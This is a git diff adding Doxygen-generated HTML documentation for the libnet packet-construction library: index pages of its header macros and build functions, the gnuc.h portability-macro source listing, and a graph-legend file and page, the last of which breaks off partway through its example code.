+: <a class="el" href="libnet-macros_8h.html#a33">libnet-macros.h</a></ul>
+<h3><a class="anchor" name="index_i">- i -</a></h3><ul>
+<li>IN6ADDR_ERROR_INIT
+: <a class="el" href="libnet-macros_8h.html#a4">libnet-macros.h</a></ul>
+<h3><a class="anchor" name="index_l">- l -</a></h3><ul>
+<li>LIBNET_802_1Q_CFIMASK
+: <a class="el" href="libnet-headers_8h.html#a63">libnet-headers.h</a><li>LIBNET_802_1Q_H
+: <a class="el" href="libnet-headers_8h.html#a0">libnet-headers.h</a><li>LIBNET_802_1Q_PRIMASK
+: <a class="el" href="libnet-headers_8h.html#a62">libnet-headers.h</a><li>LIBNET_802_1Q_VIDMASK
+: <a class="el" href="libnet-headers_8h.html#a64">libnet-headers.h</a><li>LIBNET_802_1X_ENCASFAL
+: <a class="el" href="libnet-headers_8h.html#a69">libnet-headers.h</a><li>LIBNET_802_1X_H
+: <a class="el" href="libnet-headers_8h.html#a1">libnet-headers.h</a><li>LIBNET_802_1X_KEY
+: <a class="el" href="libnet-headers_8h.html#a68">libnet-headers.h</a><li>LIBNET_802_1X_LOGOFF
+: <a class="el" href="libnet-headers_8h.html#a67">libnet-headers.h</a><li>LIBNET_802_1X_PACKET
+: <a class="el" href="libnet-headers_8h.html#a65">libnet-headers.h</a><li>LIBNET_802_1X_START
+: <a class="el" href="libnet-headers_8h.html#a66">libnet-headers.h</a><li>LIBNET_802_2_H
+: <a class="el" href="libnet-headers_8h.html#a2">libnet-headers.h</a><li>LIBNET_802_2SNAP_H
+: <a class="el" href="libnet-headers_8h.html#a3">libnet-headers.h</a><li>LIBNET_802_3_H
+: <a class="el" href="libnet-headers_8h.html#a4">libnet-headers.h</a><li>LIBNET_ARP_ETH_IP_H
+: <a class="el" href="libnet-headers_8h.html#a6">libnet-headers.h</a><li>LIBNET_ARP_H
+: <a class="el" href="libnet-headers_8h.html#a5">libnet-headers.h</a><li>LIBNET_BGP4_HEADER_H
+: <a class="el" href="libnet-headers_8h.html#a7">libnet-headers.h</a><li>LIBNET_BGP4_NOTIFICATION_H
+: <a class="el" href="libnet-headers_8h.html#a10">libnet-headers.h</a><li>LIBNET_BGP4_OPEN_H
+: <a class="el" href="libnet-headers_8h.html#a8">libnet-headers.h</a><li>LIBNET_BGP4_UPDATE_H
+: <a class="el" href="libnet-headers_8h.html#a9">libnet-headers.h</a><li>LIBNET_CDP_H
+: <a class="el" href="libnet-headers_8h.html#a11">libnet-headers.h</a><li>LIBNET_DHCPV4_H
+: <a class="el" href="libnet-headers_8h.html#a12">libnet-headers.h</a><li>LIBNET_DONT_RESOLVE
+: <a class="el" href="libnet-macros_8h.html#a0">libnet-macros.h</a><li>LIBNET_ERRBUF_SIZE
+: <a class="el" href="libnet-macros_8h.html#a18">libnet-macros.h</a><li>LIBNET_ETH_H
+: <a class="el" href="libnet-headers_8h.html#a15">libnet-headers.h</a><li>LIBNET_FDDI_H
+: <a class="el" href="libnet-headers_8h.html#a16">libnet-headers.h</a><li>LIBNET_GRE_H
+: <a class="el" href="libnet-headers_8h.html#a36">libnet-headers.h</a><li>LIBNET_GRE_SRE_H
+: <a class="el" href="libnet-headers_8h.html#a37">libnet-headers.h</a><li>LIBNET_ICMPV4_ECHO_H
+: <a class="el" href="libnet-headers_8h.html#a18">libnet-headers.h</a><li>LIBNET_ICMPV4_H
+: <a class="el" href="libnet-headers_8h.html#a17">libnet-headers.h</a><li>LIBNET_ICMPV4_MASK_H
+: <a class="el" href="libnet-headers_8h.html#a19">libnet-headers.h</a><li>LIBNET_ICMPV4_REDIRECT_H
+: <a class="el" href="libnet-headers_8h.html#a22">libnet-headers.h</a><li>LIBNET_ICMPV4_TIMXCEED_H
+: <a class="el" href="libnet-headers_8h.html#a21">libnet-headers.h</a><li>LIBNET_ICMPV4_TS_H
+: <a class="el" href="libnet-headers_8h.html#a23">libnet-headers.h</a><li>LIBNET_ICMPV4_UNREACH_H
+: <a class="el" href="libnet-headers_8h.html#a20">libnet-headers.h</a><li>LIBNET_ICMPV6_H
+: <a class="el" href="libnet-headers_8h.html#a24">libnet-headers.h</a><li>LIBNET_IGMP_H
+: <a class="el" href="libnet-headers_8h.html#a25">libnet-headers.h</a><li>LIBNET_IPSEC_AH_H
+: <a class="el" href="libnet-headers_8h.html#a34">libnet-headers.h</a><li>LIBNET_IPSEC_ESP_FTR_H
+: <a class="el" href="libnet-headers_8h.html#a33">libnet-headers.h</a><li>LIBNET_IPSEC_ESP_HDR_H
+: <a class="el" href="libnet-headers_8h.html#a32">libnet-headers.h</a><li>LIBNET_IPV4_H
+: <a class="el" href="libnet-headers_8h.html#a26">libnet-headers.h</a><li>LIBNET_IPV6_DESTOPTS_H
+: <a class="el" href="libnet-headers_8h.html#a30">libnet-headers.h</a><li>LIBNET_IPV6_FRAG_H
+: <a class="el" href="libnet-headers_8h.html#a28">libnet-headers.h</a><li>LIBNET_IPV6_H
+: <a class="el" href="libnet-headers_8h.html#a27">libnet-headers.h</a><li>LIBNET_IPV6_HBHOPTS_H
+: <a class="el" href="libnet-headers_8h.html#a31">libnet-headers.h</a><li>LIBNET_IPV6_ROUTING_H
+: <a class="el" href="libnet-headers_8h.html#a29">libnet-headers.h</a><li>LIBNET_ISL_H
+: <a class="el" href="libnet-headers_8h.html#a35">libnet-headers.h</a><li>LIBNET_MAX_PACKET
+: <a class="el" href="libnet-macros_8h.html#a12">libnet-macros.h</a><li>LIBNET_MAXOPTION_SIZE
+: <a class="el" href="libnet-macros_8h.html#a19">libnet-macros.h</a><li>LIBNET_MPLS_H
+: <a class="el" href="libnet-headers_8h.html#a38">libnet-headers.h</a><li>LIBNET_NTP_H
+: <a class="el" href="libnet-headers_8h.html#a51">libnet-headers.h</a><li>LIBNET_OFF
+: <a class="el" href="libnet-macros_8h.html#a3">libnet-macros.h</a><li>LIBNET_ON
+: <a class="el" href="libnet-macros_8h.html#a2">libnet-macros.h</a><li>LIBNET_OSPF_AUTH_H
+: <a class="el" href="libnet-headers_8h.html#a45">libnet-headers.h</a><li>LIBNET_OSPF_CKSUM
+: <a class="el" href="libnet-headers_8h.html#a46">libnet-headers.h</a><li>LIBNET_OSPF_DBD_H
+: <a class="el" href="libnet-headers_8h.html#a41">libnet-headers.h</a><li>LIBNET_OSPF_H
+: <a class="el" href="libnet-headers_8h.html#a39">libnet-headers.h</a><li>LIBNET_OSPF_HELLO_H
+: <a class="el" href="libnet-headers_8h.html#a40">libnet-headers.h</a><li>LIBNET_OSPF_LS_AS_EXT_H
+: <a class="el" href="libnet-headers_8h.html#a50">libnet-headers.h</a><li>LIBNET_OSPF_LS_NET_H
+: <a class="el" href="libnet-headers_8h.html#a48">libnet-headers.h</a><li>LIBNET_OSPF_LS_RTR_H
+: <a class="el" href="libnet-headers_8h.html#a47">libnet-headers.h</a><li>LIBNET_OSPF_LS_SUM_H
+: <a class="el" href="libnet-headers_8h.html#a49">libnet-headers.h</a><li>LIBNET_OSPF_LSA_H
+: <a class="el" href="libnet-headers_8h.html#a44">libnet-headers.h</a><li>LIBNET_OSPF_LSR_H
+: <a class="el" href="libnet-headers_8h.html#a42">libnet-headers.h</a><li>LIBNET_OSPF_LSU_H
+: <a class="el" href="libnet-headers_8h.html#a43">libnet-headers.h</a><li>LIBNET_PR2
+: <a class="el" href="libnet-macros_8h.html#a5">libnet-macros.h</a><li>LIBNET_RESOLVE
+: <a class="el" href="libnet-macros_8h.html#a1">libnet-macros.h</a><li>LIBNET_RIP_H
+: <a class="el" href="libnet-headers_8h.html#a52">libnet-headers.h</a><li>LIBNET_RPC_CALL_H
+: <a class="el" href="libnet-headers_8h.html#a53">libnet-headers.h</a><li>LIBNET_RPC_CALL_TCP_H
+: <a class="el" href="libnet-headers_8h.html#a54">libnet-headers.h</a><li>LIBNET_STP_CONF_H
+: <a class="el" href="libnet-headers_8h.html#a56">libnet-headers.h</a><li>LIBNET_STP_TCN_H
+: <a class="el" href="libnet-headers_8h.html#a57">libnet-headers.h</a><li>LIBNET_TCP_DNSV4_H
+: <a class="el" href="libnet-headers_8h.html#a14">libnet-headers.h</a><li>LIBNET_TCP_H
+: <a class="el" href="libnet-headers_8h.html#a59">libnet-headers.h</a><li>LIBNET_TOKEN_RING_H
+: <a class="el" href="libnet-headers_8h.html#a58">libnet-headers.h</a><li>LIBNET_UDP_DNSV4_H
+: <a class="el" href="libnet-headers_8h.html#a13">libnet-headers.h</a><li>LIBNET_UDP_H
+: <a class="el" href="libnet-headers_8h.html#a60">libnet-headers.h</a><li>LIBNET_VRRP_H
+: <a class="el" href="libnet-headers_8h.html#a61">libnet-headers.h</a></ul>
+<hr size="1"><address style="align: right;"><small>Generated on Wed Mar 10 13:23:38 2004 for libnet by
+<a href="http://www.doxygen.org/index.html">
+<img src="doxygen.png" alt="doxygen" align="middle" border=0 >
+</a>1.3.4 </small></address>
+</body>
+</html>
diff --git a/libnet/doc/html/globals_func.html b/libnet/doc/html/globals_func.html
new file mode 100644
index 0000000..4c4f925
--- /dev/null
+++ b/libnet/doc/html/globals_func.html
@@ -0,0 +1,136 @@
+<!DOCTYPE HTML PUBLIC "-//W3C//DTD HTML 4.01 Transitional//EN">
+<html><head><meta http-equiv="Content-Type" content="text/html;charset=iso-8859-1">
+<title>libnet: File Member Index</title>
+<link href="doxygen.css" rel="stylesheet" type="text/css">
+</head><body>
+<!-- Generated by Doxygen 1.3.4 -->
+<div class="qindex"><a class="qindex" href="index.html">Main&nbsp;Page</a> | <a class="qindex" href="annotated.html">Data&nbsp;Structures</a> | <a class="qindex" href="files.html">File&nbsp;List</a> | <a class="qindex" href="functions.html">Data&nbsp;Fields</a> | <a class="qindexHL" href="globals.html">Globals</a></div>
+<div class="qindex"><a class="qindex" href="globals.html">All</a> | <a class="qindexHL" href="globals_func.html">Functions</a> | <a class="qindex" href="globals_defs.html">Defines</a></div>
+<div class="qindex"><a class="qindex" href="#index_l">l</a></div>
+
+<p>
+
+<p>
+<h3><a class="anchor" name="index_l">- l -</a></h3><ul>
+<li>libnet_addr2name4()
+: <a class="el" href="libnet-functions_8h.html#a14">libnet-functions.h</a><li>libnet_addr2name6_r()
+: <a class="el" href="libnet-functions_8h.html#a17">libnet-functions.h</a><li>libnet_adv_cull_header()
+: <a class="el" href="libnet-functions_8h.html#a99">libnet-functions.h</a><li>libnet_adv_cull_packet()
+: <a class="el" href="libnet-functions_8h.html#a98">libnet-functions.h</a><li>libnet_adv_free_packet()
+: <a class="el" href="libnet-functions_8h.html#a101">libnet-functions.h</a><li>libnet_adv_write_link()
+: <a class="el" href="libnet-functions_8h.html#a100">libnet-functions.h</a><li>libnet_autobuild_arp()
+: <a class="el" href="libnet-functions_8h.html#a33">libnet-functions.h</a><li>libnet_autobuild_ethernet()
+: <a class="el" href="libnet-functions_8h.html#a29">libnet-functions.h</a><li>libnet_autobuild_fddi()
+: <a class="el" href="libnet-functions_8h.html#a31">libnet-functions.h</a><li>libnet_autobuild_ipv4()
+: <a class="el" href="libnet-functions_8h.html#a47">libnet-functions.h</a><li>libnet_autobuild_ipv6()
+: <a class="el" href="libnet-functions_8h.html#a53">libnet-functions.h</a><li>libnet_autobuild_link()
+: <a class="el" href="libnet-functions_8h.html#a92">libnet-functions.h</a><li>libnet_autobuild_token_ring()
+: <a class="el" href="libnet-functions_8h.html#a64">libnet-functions.h</a><li>libnet_build_802_1q()
+: <a class="el" href="libnet-functions_8h.html#a23">libnet-functions.h</a><li>libnet_build_802_1x()
+: <a class="el" href="libnet-functions_8h.html#a24">libnet-functions.h</a><li>libnet_build_802_2()
+: <a class="el" href="libnet-functions_8h.html#a25">libnet-functions.h</a><li>libnet_build_802_2snap()
+: <a class="el" href="libnet-functions_8h.html#a26">libnet-functions.h</a><li>libnet_build_802_3()
+: <a class="el" href="libnet-functions_8h.html#a27">libnet-functions.h</a><li>libnet_build_arp()
+: <a class="el" href="libnet-functions_8h.html#a32">libnet-functions.h</a><li>libnet_build_bgp4_header()
+: <a class="el" href="libnet-functions_8h.html#a86">libnet-functions.h</a><li>libnet_build_bgp4_notification()
+: <a class="el" href="libnet-functions_8h.html#a89">libnet-functions.h</a><li>libnet_build_bgp4_open()
+: <a class="el" href="libnet-functions_8h.html#a87">libnet-functions.h</a><li>libnet_build_bgp4_update()
+: <a class="el" href="libnet-functions_8h.html#a88">libnet-functions.h</a><li>libnet_build_bootpv4()
+: <a class="el" href="libnet-functions_8h.html#a80">libnet-functions.h</a><li>libnet_build_cdp()
+: <a class="el" href="libnet-functions_8h.html#a37">libnet-functions.h</a><li>libnet_build_data()
+: <a class="el" href="libnet-functions_8h.html#a78">libnet-functions.h</a><li>libnet_build_dhcpv4()
+: <a class="el" href="libnet-functions_8h.html#a79">libnet-functions.h</a><li>libnet_build_dnsv4()
+: <a class="el" href="libnet-functions_8h.html#a58">libnet-functions.h</a><li>libnet_build_egre()
+: <a class="el" href="libnet-functions_8h.html#a83">libnet-functions.h</a><li>libnet_build_ethernet()
+: <a class="el" href="libnet-functions_8h.html#a28">libnet-functions.h</a><li>libnet_build_fddi()
+: <a class="el" href="libnet-functions_8h.html#a30">libnet-functions.h</a><li>libnet_build_gre()
+: <a class="el" href="libnet-functions_8h.html#a82">libnet-functions.h</a><li>libnet_build_gre_last_sre()
+: <a class="el" href="libnet-functions_8h.html#a85">libnet-functions.h</a><li>libnet_build_gre_sre()
+: <a class="el" href="libnet-functions_8h.html#a84">libnet-functions.h</a><li>libnet_build_icmpv4_echo()
+: <a class="el" href="libnet-functions_8h.html#a38">libnet-functions.h</a><li>libnet_build_icmpv4_mask()
+: <a class="el" href="libnet-functions_8h.html#a39">libnet-functions.h</a><li>libnet_build_icmpv4_redirect()
+: <a class="el" href="libnet-functions_8h.html#a41">libnet-functions.h</a><li>libnet_build_icmpv4_timeexceed()
+: <a class="el" href="libnet-functions_8h.html#a42">libnet-functions.h</a><li>libnet_build_icmpv4_timestamp()
+: <a class="el" href="libnet-functions_8h.html#a43">libnet-functions.h</a><li>libnet_build_icmpv4_unreach()
+: <a class="el" href="libnet-functions_8h.html#a40">libnet-functions.h</a><li>libnet_build_igmp()
+: <a class="el" href="libnet-functions_8h.html#a44">libnet-functions.h</a><li>libnet_build_ipsec_ah()
+: <a class="el" href="libnet-functions_8h.html#a57">libnet-functions.h</a><li>libnet_build_ipsec_esp_ftr()
+: <a class="el" href="libnet-functions_8h.html#a56">libnet-functions.h</a><li>libnet_build_ipsec_esp_hdr()
+: <a class="el" href="libnet-functions_8h.html#a55">libnet-functions.h</a><li>libnet_build_ipv4()
+: <a class="el" href="libnet-functions_8h.html#a45">libnet-functions.h</a><li>libnet_build_ipv4_options()
+: <a class="el" href="libnet-functions_8h.html#a46">libnet-functions.h</a><li>libnet_build_ipv6()
+: <a class="el" href="libnet-functions_8h.html#a48">libnet-functions.h</a><li>libnet_build_ipv6_destopts()
+: <a class="el" href="libnet-functions_8h.html#a51">libnet-functions.h</a><li>libnet_build_ipv6_frag()
+: <a class="el" href="libnet-functions_8h.html#a49">libnet-functions.h</a><li>libnet_build_ipv6_hbhopts()
+: <a class="el" href="libnet-functions_8h.html#a52">libnet-functions.h</a><li>libnet_build_ipv6_routing()
+: <a class="el" href="libnet-functions_8h.html#a50">libnet-functions.h</a><li>libnet_build_isl()
+: <a class="el" href="libnet-functions_8h.html#a54">libnet-functions.h</a><li>libnet_build_link()
+: <a class="el" href="libnet-functions_8h.html#a91">libnet-functions.h</a><li>libnet_build_mpls()
+: <a class="el" href="libnet-functions_8h.html#a66">libnet-functions.h</a><li>libnet_build_ntp()
+: <a class="el" href="libnet-functions_8h.html#a67">libnet-functions.h</a><li>libnet_build_ospfv2()
+: <a class="el" href="libnet-functions_8h.html#a68">libnet-functions.h</a><li>libnet_build_ospfv2_dbd()
+: <a class="el" href="libnet-functions_8h.html#a70">libnet-functions.h</a><li>libnet_build_ospfv2_hello()
+: <a class="el" href="libnet-functions_8h.html#a69">libnet-functions.h</a><li>libnet_build_ospfv2_lsa()
+: <a class="el" href="libnet-functions_8h.html#a73">libnet-functions.h</a><li>libnet_build_ospfv2_lsa_as()
+: <a class="el" href="libnet-functions_8h.html#a77">libnet-functions.h</a><li>libnet_build_ospfv2_lsa_net()
+: <a class="el" href="libnet-functions_8h.html#a75">libnet-functions.h</a><li>libnet_build_ospfv2_lsa_rtr()
+: <a class="el" href="libnet-functions_8h.html#a74">libnet-functions.h</a><li>libnet_build_ospfv2_lsa_sum()
+: <a class="el" href="libnet-functions_8h.html#a76">libnet-functions.h</a><li>libnet_build_ospfv2_lsr()
+: <a class="el" href="libnet-functions_8h.html#a71">libnet-functions.h</a><li>libnet_build_ospfv2_lsu()
+: <a class="el" href="libnet-functions_8h.html#a72">libnet-functions.h</a><li>libnet_build_rip()
+: <a class="el" href="libnet-functions_8h.html#a59">libnet-functions.h</a><li>libnet_build_rpc_call()
+: <a class="el" href="libnet-functions_8h.html#a60">libnet-functions.h</a><li>libnet_build_sebek()
+: <a class="el" href="libnet-functions_8h.html#a90">libnet-functions.h</a><li>libnet_build_stp_conf()
+: <a class="el" href="libnet-functions_8h.html#a61">libnet-functions.h</a><li>libnet_build_stp_tcn()
+: <a class="el" href="libnet-functions_8h.html#a62">libnet-functions.h</a><li>libnet_build_tcp()
+: <a class="el" href="libnet-functions_8h.html#a34">libnet-functions.h</a><li>libnet_build_tcp_options()
+: <a class="el" href="libnet-functions_8h.html#a35">libnet-functions.h</a><li>libnet_build_token_ring()
+: <a class="el" href="libnet-functions_8h.html#a63">libnet-functions.h</a><li>libnet_build_udp()
+: <a class="el" href="libnet-functions_8h.html#a36">libnet-functions.h</a><li>libnet_build_vrrp()
+: <a class="el" href="libnet-functions_8h.html#a65">libnet-functions.h</a><li>libnet_clear_packet()
+: <a class="el" href="libnet-functions_8h.html#a3">libnet-functions.h</a><li>libnet_cq_add()
+: <a class="el" href="libnet-functions_8h.html#a102">libnet-functions.h</a><li>libnet_cq_destroy()
+: <a class="el" href="libnet-functions_8h.html#a107">libnet-functions.h</a><li>libnet_cq_find_by_label()
+: <a class="el" href="libnet-functions_8h.html#a106">libnet-functions.h</a><li>libnet_cq_getlabel()
+: <a class="el" href="libnet-functions_8h.html#a105">libnet-functions.h</a><li>libnet_cq_head()
+: <a class="el" href="libnet-functions_8h.html#a108">libnet-functions.h</a><li>libnet_cq_last()
+: <a class="el" href="libnet-functions_8h.html#a109">libnet-functions.h</a><li>libnet_cq_next()
+: <a class="el" href="libnet-functions_8h.html#a110">libnet-functions.h</a><li>libnet_cq_remove()
+: <a class="el" href="libnet-functions_8h.html#a103">libnet-functions.h</a><li>libnet_cq_remove_by_label()
+: <a class="el" href="libnet-functions_8h.html#a104">libnet-functions.h</a><li>libnet_cq_size()
+: <a class="el" href="libnet-functions_8h.html#a111">libnet-functions.h</a><li>libnet_destroy()
+: <a class="el" href="libnet-functions_8h.html#a2">libnet-functions.h</a><li>libnet_diag_dump_context()
+: <a class="el" href="libnet-functions_8h.html#a112">libnet-functions.h</a><li>libnet_diag_dump_hex()
+: <a class="el" href="libnet-functions_8h.html#a115">libnet-functions.h</a><li>libnet_diag_dump_pblock()
+: <a class="el" href="libnet-functions_8h.html#a113">libnet-functions.h</a><li>libnet_diag_dump_pblock_type()
+: <a class="el" href="libnet-functions_8h.html#a114">libnet-functions.h</a><li>libnet_get_hwaddr()
+: <a class="el" href="libnet-functions_8h.html#a96">libnet-functions.h</a><li>libnet_get_ipaddr4()
+: <a class="el" href="libnet-functions_8h.html#a94">libnet-functions.h</a><li>libnet_get_ipaddr6()
+: <a class="el" href="libnet-functions_8h.html#a95">libnet-functions.h</a><li>libnet_get_prand()
+: <a class="el" href="libnet-functions_8h.html#a12">libnet-functions.h</a><li>libnet_getdevice()
+: <a class="el" href="libnet-functions_8h.html#a6">libnet-functions.h</a><li>libnet_geterror()
+: <a class="el" href="libnet-functions_8h.html#a9">libnet-functions.h</a><li>libnet_getfd()
+: <a class="el" href="libnet-functions_8h.html#a5">libnet-functions.h</a><li>libnet_getgre_length()
+: <a class="el" href="libnet-functions_8h.html#a81">libnet-functions.h</a><li>libnet_getpacket_size()
+: <a class="el" href="libnet-functions_8h.html#a10">libnet-functions.h</a><li>libnet_getpbuf()
+: <a class="el" href="libnet-functions_8h.html#a7">libnet-functions.h</a><li>libnet_getpbuf_size()
+: <a class="el" href="libnet-functions_8h.html#a8">libnet-functions.h</a><li>libnet_hex_aton()
+: <a class="el" href="libnet-functions_8h.html#a97">libnet-functions.h</a><li>libnet_init()
+: <a class="el" href="libnet-functions_8h.html#a1">libnet-functions.h</a><li>libnet_name2addr4()
+: <a class="el" href="libnet-functions_8h.html#a15">libnet-functions.h</a><li>libnet_name2addr6()
+: <a class="el" href="libnet-functions_8h.html#a16">libnet-functions.h</a><li>libnet_plist_chain_dump()
+: <a class="el" href="libnet-functions_8h.html#a20">libnet-functions.h</a><li>libnet_plist_chain_dump_string()
+: <a class="el" href="libnet-functions_8h.html#a21">libnet-functions.h</a><li>libnet_plist_chain_free()
+: <a class="el" href="libnet-functions_8h.html#a22">libnet-functions.h</a><li>libnet_plist_chain_new()
+: <a class="el" href="libnet-functions_8h.html#a18">libnet-functions.h</a><li>libnet_plist_chain_next_pair()
+: <a class="el" href="libnet-functions_8h.html#a19">libnet-functions.h</a><li>libnet_seed_prand()
+: <a class="el" href="libnet-functions_8h.html#a11">libnet-functions.h</a><li>libnet_stats()
+: <a class="el" href="libnet-functions_8h.html#a4">libnet-functions.h</a><li>libnet_toggle_checksum()
+: <a class="el" href="libnet-functions_8h.html#a13">libnet-functions.h</a><li>libnet_write()
+: <a class="el" href="libnet-functions_8h.html#a93">libnet-functions.h</a></ul>
+<hr size="1"><address style="align: right;"><small>Generated on Wed Mar 10 13:23:38 2004 for libnet by
+<a href="http://www.doxygen.org/index.html">
+<img src="doxygen.png" alt="doxygen" align="middle" border=0 >
+</a>1.3.4 </small></address>
+</body>
+</html>
diff --git a/libnet/doc/html/gnuc_8h-source.html b/libnet/doc/html/gnuc_8h-source.html
new file mode 100644
index 0000000..2ff4c44
--- /dev/null
+++ b/libnet/doc/html/gnuc_8h-source.html
@@ -0,0 +1,56 @@
+<!DOCTYPE HTML PUBLIC "-//W3C//DTD HTML 4.01 Transitional//EN">
+<html><head><meta http-equiv="Content-Type" content="text/html;charset=iso-8859-1">
+<title>libnet: gnuc.h Source File</title>
+<link href="doxygen.css" rel="stylesheet" type="text/css">
+</head><body>
+<!-- Generated by Doxygen 1.3.4 -->
+<div class="qindex"><a class="qindex" href="index.html">Main&nbsp;Page</a> | <a class="qindex" href="annotated.html">Data&nbsp;Structures</a> | <a class="qindex" href="files.html">File&nbsp;List</a> | <a class="qindex" href="functions.html">Data&nbsp;Fields</a> | <a class="qindex" href="globals.html">Globals</a></div>
+<h1>gnuc.h</h1><div class="fragment"><pre>00001 <span class="comment">/* @(#) $Header: /usr/local/CVS/libnet/include/gnuc.h,v 1.1.1.1 2003/06/26 21:55:10 route Exp $ (LBL) */</span>
+00002
+00003 <span class="comment">/* Define __P() macro, if necessary */</span>
+00004 <span class="preprocessor">#ifndef __P</span>
+00005 <span class="preprocessor"></span><span class="preprocessor">#if __STDC__</span>
+00006 <span class="preprocessor"></span><span class="preprocessor">#define __P(protos) protos</span>
+00007 <span class="preprocessor"></span><span class="preprocessor">#else</span>
+00008 <span class="preprocessor"></span><span class="preprocessor">#define __P(protos) ()</span>
+00009 <span class="preprocessor"></span><span class="preprocessor">#endif</span>
+00010 <span class="preprocessor"></span><span class="preprocessor">#endif</span>
+00011 <span class="preprocessor"></span>
+00012 <span class="comment">/* inline foo */</span>
+00013 <span class="preprocessor">#ifdef __GNUC__</span>
+00014 <span class="preprocessor"></span><span class="preprocessor">#define inline __inline</span>
+00015 <span class="preprocessor"></span><span class="preprocessor">#else</span>
+00016 <span class="preprocessor"></span><span class="preprocessor">#define inline</span>
+00017 <span class="preprocessor"></span><span class="preprocessor">#endif</span>
+00018 <span class="preprocessor"></span>
+00019 <span class="comment">/*</span>
+00020 <span class="comment"> * Handle new and old "dead" routine prototypes</span>
+00021 <span class="comment"> *</span>
+00022 <span class="comment"> * For example:</span>
+00023 <span class="comment"> *</span>
+00024 <span class="comment"> * __dead void foo(void) __attribute__((volatile));</span>
+00025 <span class="comment"> *</span>
+00026 <span class="comment"> */</span>
+00027 <span class="preprocessor">#ifdef __GNUC__</span>
+00028 <span class="preprocessor"></span><span class="preprocessor">#ifndef __dead</span>
+00029 <span class="preprocessor"></span><span class="preprocessor">#define __dead volatile</span>
+00030 <span class="preprocessor"></span><span class="preprocessor">#endif</span>
+00031 <span class="preprocessor"></span><span class="preprocessor">#if __GNUC__ &lt; 2 || (__GNUC__ == 2 &amp;&amp; __GNUC_MINOR__ &lt; 5)</span>
+00032 <span class="preprocessor"></span><span class="preprocessor">#ifndef __attribute__</span>
+00033 <span class="preprocessor"></span><span class="preprocessor">#define __attribute__(args)</span>
+00034 <span class="preprocessor"></span><span class="preprocessor">#endif</span>
+00035 <span class="preprocessor"></span><span class="preprocessor">#endif</span>
+00036 <span class="preprocessor"></span><span class="preprocessor">#else</span>
+00037 <span class="preprocessor"></span><span class="preprocessor">#ifndef __dead</span>
+00038 <span class="preprocessor"></span><span class="preprocessor">#define __dead</span>
+00039 <span class="preprocessor"></span><span class="preprocessor">#endif</span>
+00040 <span class="preprocessor"></span><span class="preprocessor">#ifndef __attribute__</span>
+00041 <span class="preprocessor"></span><span class="preprocessor">#define __attribute__(args)</span>
+00042 <span class="preprocessor"></span><span class="preprocessor">#endif</span>
+00043 <span class="preprocessor"></span><span class="preprocessor">#endif</span>
+</pre></div><hr size="1"><address style="align: right;"><small>Generated on Wed Mar 10 13:23:37 2004 for libnet by
+<a href="http://www.doxygen.org/index.html">
+<img src="doxygen.png" alt="doxygen" align="middle" border=0 >
+</a>1.3.4 </small></address>
+</body>
+</html>
diff --git a/libnet/doc/html/graph_legend.dot b/libnet/doc/html/graph_legend.dot
new file mode 100644
index 0000000..5420927
--- /dev/null
+++ b/libnet/doc/html/graph_legend.dot
@@ -0,0 +1,22 @@
+digraph G
+{
+ edge [fontname="Helvetica",fontsize=10,labelfontname="Helvetica",labelfontsize=10];
+ node [fontname="Helvetica",fontsize=10,shape=record];
+ Node9 [shape="box",label="Inherited",fontsize=10,height=0.2,width=0.4,fontname="Helvetica",color="black",style="filled" fontcolor="white"];
+ Node10 -> Node9 [dir=back,color="midnightblue",fontsize=10,style="solid",fontname="Helvetica"];
+ Node10 [shape="box",label="PublicBase",fontsize=10,height=0.2,width=0.4,fontname="Helvetica",color="black",URL="$classPublicBase.html"];
+ Node11 -> Node10 [dir=back,color="midnightblue",fontsize=10,style="solid",fontname="Helvetica"];
+ Node11 [shape="box",label="Truncated",fontsize=10,height=0.2,width=0.4,fontname="Helvetica",color="red",URL="$classTruncated.html"];
+ Node13 -> Node9 [dir=back,color="darkgreen",fontsize=10,style="solid",fontname="Helvetica"];
+ Node13 [shape="box",label="ProtectedBase",fontsize=10,height=0.2,width=0.4,fontname="Helvetica",color="black",URL="$classProtectedBase.html"];
+ Node14 -> Node9 [dir=back,color="firebrick4",fontsize=10,style="solid",fontname="Helvetica"];
+ Node14 [shape="box",label="PrivateBase",fontsize=10,height=0.2,width=0.4,fontname="Helvetica",color="black",URL="$classPrivateBase.html"];
+ Node15 -> Node9 [dir=back,color="midnightblue",fontsize=10,style="solid",fontname="Helvetica"];
+ Node15 [shape="box",label="Undocumented",fontsize=10,height=0.2,width=0.4,fontname="Helvetica",color="grey75"];
+ Node16 -> Node9 [dir=back,color="midnightblue",fontsize=10,style="solid",fontname="Helvetica"];
+ Node16 [shape="box",label="Templ< int >",fontsize=10,height=0.2,width=0.4,fontname="Helvetica",color="black",URL="$classTempl.html"];
+ Node17 -> Node16 [dir=back,color="orange",fontsize=10,style="dashed",label="< int >",fontname="Helvetica"];
+ Node17 [shape="box",label="Templ< T >",fontsize=10,height=0.2,width=0.4,fontname="Helvetica",color="black",URL="$classTempl.html"];
+ Node18 -> Node9 [dir=back,color="darkorchid3",fontsize=10,style="dashed",label="m_usedClass",fontname="Helvetica"];
+ Node18 [shape="box",label="Used",fontsize=10,height=0.2,width=0.4,fontname="Helvetica",color="black",URL="$classUsed.html"];
+}
diff --git a/libnet/doc/html/graph_legend.html b/libnet/doc/html/graph_legend.html
new file mode 100644
index 0000000..c6e7273
--- /dev/null
+++ b/libnet/doc/html/graph_legend.html
@@ -0,0 +1,75 @@
+<!DOCTYPE HTML PUBLIC "-//W3C//DTD HTML 4.01 Transitional//EN">
+<html><head><meta http-equiv="Content-Type" content="text/html;charset=iso-8859-1">
+<title>libnet: Graph Legend</title>
+<link href="doxygen.css" rel="stylesheet" type="text/css">
+</head><body>
+<!-- Generated by Doxygen 1.3.4 -->
+<div class="qindex"><a class="qindex" href="index.html">Main&nbsp;Page</a> | <a class="qindex" href="annotated.html">Data&nbsp;Structures</a> | <a class="qindex" href="files.html">File&nbsp;List</a> | <a class="qindex" href="functions.html">Data&nbsp;Fields</a> | <a class="qindex" href="globals.html">Globals</a></div>
+<h1>Graph Legend</h1>This page explains how to interpret the graphs that are generated by doxygen.<p>
+Consider the following example: <div class="fragment"><pre><span class="comment">/*! Invisible class because of truncation */</span>
+<span class="keyword">class </span>Invisible { };
+<span class="comment"></span>
+<span class="comment">/*! Truncated class, inheritance relation is hidden */</span>
+<span class="keyword">class </span>Truncated : <span class="keyword">public</span> Invisible { };
+
+<span class="comment">/* Class not documented with doxygen comments */</span>
+<span class="keyword">class </span>Undocumented { };
+<span class="comment"></span>
+<span class="comment">/*! Class that is inherited using public inheritance */</span>
+<span class="keyword">class </span>PublicBase : <span class="keyword">public</span> Truncated { };
